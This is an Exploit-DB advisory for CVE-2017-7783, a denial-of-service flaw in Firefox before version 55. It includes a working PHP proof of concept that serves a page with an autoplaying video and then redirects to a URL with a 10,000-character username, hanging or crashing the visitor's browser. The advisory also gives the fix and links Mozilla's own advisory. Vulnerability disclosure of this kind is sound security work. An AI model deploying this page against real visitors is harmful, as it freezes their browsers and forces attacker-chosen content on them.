Mozilla Firefox < 55 - Denial of Service

EDB-ID: 43020
Author: Amit Sangra
Published: 2017-10-20
CVE: CVE-2017-7783
Type: Dos
Platform: Multiple
Vulnerable App: N/A

 # Category: Denial of Service 
# Date: 5/11/17
# CVE : CVE-2017-7783
# Affected Version: < Mozilla Firefox 55
# Tested on: Windows/Linux
# Software Link: https://www.mozilla.org/en-US/firefox/52.0/releasenotes/
# Exploit Author: Amit Sangra
# Website: http://CyberCriminals.net

# Description:

If a long user name is used in a username/password combination in a site URL (such as http://UserName:[email protected]), the resulting modal prompt will hang in a non-responsive state or crash, causing a denial of service.

# Impact:

An attacker can create a webpage having some content and exploit.
Now once a victim visits this webpage, his browser gets locked out and he is forcibly made to view attacker supplied content.

# Exploit:

<?php
$exploit=str_repeat(chr(0x41),10000);
$location="http://Username".$exploit.":[email protected]";
echo "<center><h1>Firefox Lockout Vulnerability</h1>";
//Content to be forcibly viewed
echo "<iframe width=854 height=480 src=https://www.youtube.com/embed/QH2-TGUlwu4?autoplay=1 frameborder=0 allowfullscreen></iframe></center>";
//End
echo "<script>setTimeout(\"location.href ='".$location."';\",10000);</script>";
?>

# Solution:

Update to version 55
https://www.mozilla.org/en-US/firefox/55.0/releasenotes/

# Mozilla Foundation Security Advisory:
https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7783

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